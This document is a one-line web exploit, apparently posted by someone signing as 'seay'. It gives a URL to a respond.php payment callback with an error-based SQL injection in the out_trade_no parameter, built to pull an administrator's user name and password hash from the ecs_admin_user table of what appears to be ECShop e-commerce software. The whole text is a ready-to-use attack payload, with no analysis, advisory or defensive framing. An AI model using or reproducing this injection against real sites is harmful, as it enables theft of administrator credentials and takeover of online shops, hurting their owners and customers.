/respond.php?code=alipay&subject=0&out_trade_no=\' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,0x7c,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) -- By seay